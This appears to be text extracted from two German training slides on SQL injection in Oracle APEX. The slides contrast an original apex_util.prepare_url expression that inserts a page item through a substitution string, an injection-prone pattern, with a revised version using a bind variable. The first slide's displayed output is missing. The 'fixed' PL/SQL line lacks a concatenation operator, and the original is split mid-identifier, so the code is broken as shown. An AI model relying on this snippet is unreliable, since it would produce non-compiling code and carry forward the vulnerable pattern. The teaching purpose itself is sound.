114 SQL Injection Bekommen wir folgende Infos auf der Seite angezeigt: 114

115 SQL Injection Die PL/SQL Expression für das Anzeigeelement kann wie folgt geändert werden: apex_util.prepare_url('f?p=&app_id.:12:&app_session.:::p12_message:' :P12_MESSAGE) Im Original war das so: apex_util.prepare_url('f?p=&app_id.:12:&app_session.::::p12_message:&p1 2_MESSAGE.') 115